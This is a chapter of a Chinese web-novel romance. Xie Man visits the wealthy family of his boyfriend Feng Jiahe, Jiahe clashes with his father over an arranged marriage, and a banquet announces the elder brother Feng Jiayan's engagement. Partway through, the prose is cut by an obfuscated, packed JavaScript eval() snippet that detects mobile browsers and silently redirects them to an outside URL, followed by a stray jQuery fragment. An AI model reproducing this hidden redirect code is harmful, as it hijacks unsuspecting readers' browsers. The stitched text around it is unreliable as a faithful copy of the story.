暗金色的大门便缓缓向两侧划开,映入眼帘的是两排安静的梧桐树,车子行驶在中间一条笔直宽阔的车道上,枝叶在暮色里连成深邃的拱廊。
从前谢满只是知道冯嘉禾家里很有钱,却没想过是这种近乎奢靡的气派。
怪不得冯嘉年会疯了一样地针对自己的亲弟弟。这是真的有皇位要继承啊。谢满内心感叹,侧头去看身边的冯嘉禾。只见他对周围的一切漠不关心,低头看着手机,发觉谢满看过来,伸出手覆上谢满的手背,抬头问他:“怎么了?”
谢满摇头,眼神凝重地看着他,痛心疾首道:“真是富贵迷人眼啊。”
方才还因为回家而郁结的心情,被谢满没头没脑的一句话戳中笑点,忍不住笑出了声。
冯嘉禾凑到他嘴边亲了一口,揽住他纤细的腰线,两人的衣服是冯嘉禾一早找了人来量身定制的,款式颜色都是一眼就能看出是情侣装,谢满耳根瞬间红透,伸手推了他一把,没好气地瞪他,示意前面还有司机。
重新正襟危坐,望着车窗外还未天黑便已灯火通明的主楼,简直像一座城堡,亮得晃眼。谢满的心脏毫无征兆地一跳,胸腔涌起一股别样的感觉,让人有些不安。
车子缓慢停下,侍者快步上前,躬身拉开后座车门,声音在夜色里显得格外清晰:“小少爷,先生等您很久了,请您先去书房一趟。”
冯嘉禾闻言,眉头几不可查地皱起,眼底闪过一丝不耐。
谢满看出他的为难,体贴地对他说:“你去吧,我等你。”
冯嘉禾转过身,他原本是想带着谢满先进去逛逛,现在只能伸手替谢满理了理被风吹乱的领口,指尖的温度带着安抚的力道,声音放的极低:“你去我房间等我,不要乱跑。”
谢满好笑,自己又不是小孩子,哪里会乱跑,他伸手贴了贴冯嘉禾的手背,“去吧。”
冯嘉禾看着他,明明心里很紧张却还是体贴自己的模样,心里软了软,嘱咐侍者带着谢满先上去。
谢满被侍者引着走上台阶,大厅里站了几个人正在交谈,巨大的水晶灯下,每个人的表情都清晰可见,谢满心跳又快了几分,他低下头,跟着侍者穿过长长的回廊,往楼上走去。
侍者的脚步声在门外渐行渐远,偌大的房间里只剩下谢满一个人。
他站在原地,目光缓缓扫过这方巨大的空间,谢满放慢脚步往里走。房间的一侧立着个木质的展示柜,玻璃门擦的一尘不染,里面摆满了各式各样的奖杯和金牌。谢满粗粗看过,大多是编码和科技创新类的奖项……
密密麻麻的荣誉,从十几岁一直延续到大学,谢满看得入迷,原来他是真的喜欢编码,不是逼入穷巷后的妥协。
一层层看过去,看着他光鲜亮丽的背后,也藏着这么多不为人知的努力。
谢满想起在学校见到的冯嘉禾,作为学生会主席的他长袖善舞、面面俱到,待人接物永远是一副彬彬有礼的模样,言行举止挑不出半分错处,完全也看不出在他面前没个正形的样子。谢满自己都没发现,想着他的时候,自己的嘴角已经不自觉露出浅笑。
再往里走是正式的卧室,风格比外间更沉稳些,床头挂着一副装裱精致的相框,不是什么华丽的装饰画,竟是一张冯嘉禾的周岁照。
谢满忍不住走进,抬头细看,照片里的小婴儿坐在小小的王座上,脸蛋圆嘟嘟的,依稀能看出冯嘉禾的五官轮廓。谢满忍了又忍,还是拿出手机偷偷拍下了这张照片。
与此同时,三楼书房中的气氛压抑得近乎凝滞。
厚重的红木门隔绝了外面的喧嚣,冯建柏端坐在座椅上,看着眼前的小儿子,语气里是掩不住的威严与冷厉:“你也快毕业了吧?”
“毕业就直接来公司上班,别再守着那个不三不四的工作室了,上不了台面。”
冯嘉禾站在书桌前,背脊挺得笔直,闻言只是淡淡掀了眼皮,“就算您想让我进公司,别人恐怕也不同意吧。”
“你管好你自己就行了,你大哥也不是不明事理的人,他知道分寸。”
他嗤笑一声,早就习惯了冯建柏的偏心,自然也不会对这些话有什么情绪起伏。
“我不管你在外面搞什么东西,和岑家的婚事,等你毕业就办了,免得夜长梦多。”冯建柏像是再说什么无关紧要的事,冯嘉禾猛地抬头。
“夜长梦多?您有空在我这里费心,不如想想办法让戴家尽快松口。”
冯建柏猛地一拍桌子,“冯嘉禾!冯家的事还轮不到你来做主!”
冯嘉禾丝毫不惧:“我做什么了?我是在外面养了人搞得人尽皆知,被人堵着门退婚,还是安排商业间谍,事情败露差点进去踩缝纫机?”
“说起来,我这点事跟大哥比起来,也不过如此吧?您有这闲心管我,不如省点力气去给你的宝贝儿子擦屁股吧!”
这话堵得冯建柏哑口无言,指着他的手微微颤抖,半天说不出一句反驳的话。
冯嘉禾看着他铁青的脸色,余光落在他爬满皱纹的眼角,那些刻意染黑也挡不住的鬓角白发。喉间的话忍了又忍,肩膀终究是卸了下去,没再说什么,转身出了房间。
带着一肚子火气和憋闷闷着头往楼上走,心口像是塞住一块浸了水的棉花,沉得喘不过气。
他拧开房门,屋内灯光满了他一身,谢满正坐在沙发上,怀里抱着那个他从小抱到大的兔子玩偶,微微垂着眼,睫毛在眼下投出一小片阴影。
他正百无聊赖地拨弄着两只兔耳朵,听见开门声,立刻抬起头,随着他一起抬起的是谢满的嘴角,他朝自己露出一个软软的笑:“你终于回来了。”
他声音带着几分困倦的撒娇,“我都等困了。”
冯嘉禾的呼吸一滞,不知为何眼眶有些酸涩,刚才在书房里积压的戾气,在看见眼前人后,都化作一肚子委屈。
他走上前将谢满抱在怀里,揉了揉他睡眼惺忪的脸蛋,“等急了吧,饿不饿?我让人送点吃的上来。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177138|196907||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
谢满摇头,敏锐地发现冯嘉禾情绪不对,“怎么了?”
“没什么,一会儿宴会就开始了,我问问贺勋他们到哪了?”冯嘉禾回避了谢满的问题,转身去拿手机。
谢满看见他眉间的郁色,想到今晚的宴会是为了给冯嘉年庆功,庆祝他刚上任总裁就做出了不错的成绩。说来冯家父母也是很重视这个长子的,为何冯嘉年还要死死盯着自己的弟弟找不痛快?
谢满正看着冯嘉禾的侧脸出神,门口忽然响起了敲门声。
“小少爷,宴会要开始了,夫人让您下去。”侍者的声音从门口传来。
“知道了。”冯嘉禾淡淡地应了一声,听不出情绪。
宴会厅很大,冯嘉禾扫过满厅宾客,目光落在不远处正和人交谈的贺勋身上,侧身对谢满低声道:“你先去贺勋那边待着,别乱跑,我去去就来。”
谢满点点头,看着冯嘉禾转身走向一对被众人簇拥的雍容华贵的夫妇身旁,脸上挂着得体冷漠的笑容,心里说不出是什么滋味。
不多时,宴会厅的声音渐渐轻了下去,宾客们纷纷侧目看向主台。冯夫人身着一身墨绿色暗纹旗袍,妆容精致,隔着老远,谢满都被她颈间佩戴的宝石项链晃得眼晕。
她嘴角噙着得体的笑意,声音穿透整个宴会厅,“感谢各位百忙之中莅临冯家,今天的聚会一是感谢诸位多年来对冯家的关照,二来,也想借着这个机会,跟大家说件喜事。”
她顿了顿,目光扫过台下,最后落在冯嘉年身上,笑意更浓:“想必大家也知道,嘉年接手桦能也有一年了,与戴家千金从云已定好年后举行婚礼,到时候还请各位赏脸,一起见证两家联姻之喜。”
话音落,厅里立刻响起一阵附和夸赞之声,冯嘉年向大家颔首,嘴角挂着温和的笑,眼底却藏着几分志在必得的锐利。他身后站的的冯嘉禾从始至终从没有露出过半分多余的表情,他就那样立在一旁,像个外人般与父母哥哥三人格格不入。旁人一眼望去,恐怕只会觉得那三人才是幸福的一家三口。
谢满站在贺勋身边,他们站在宴会厅的角落,很少有人注意到这里。他扫了一眼周围,戴从云作为准新娘竟从头到尾没露过面,冯家既宣布了婚事,偏偏少了这位最该在场的主角,实在透着股说不出的怪异。
他凑到贺勋耳边,压低声音八卦道:“怎么没见到戴从云来?这么大的事,准新娘不在场也太奇怪了吧。”
贺勋正抿着香槟,闻言挑了挑眉,往四周扫了眼,见没人注意这边,才也压低声音回他:“你还不知道呢,这婚事差点黄了,两家人前段时间闹得挺大的,差点就退婚了。”
谢满眼睛倏地睁大,好奇心瞬间被勾起,这么大的事冯嘉禾竟然也不给他说,真是不够意思。他又往贺勋身边凑了凑:“为什么要退婚?他们不是商业联姻吗?”
“商业联姻顶什么用,还不是冯嘉年自己不检点。”身旁不知什么时候插进来一道女声,两人同时朝她看去。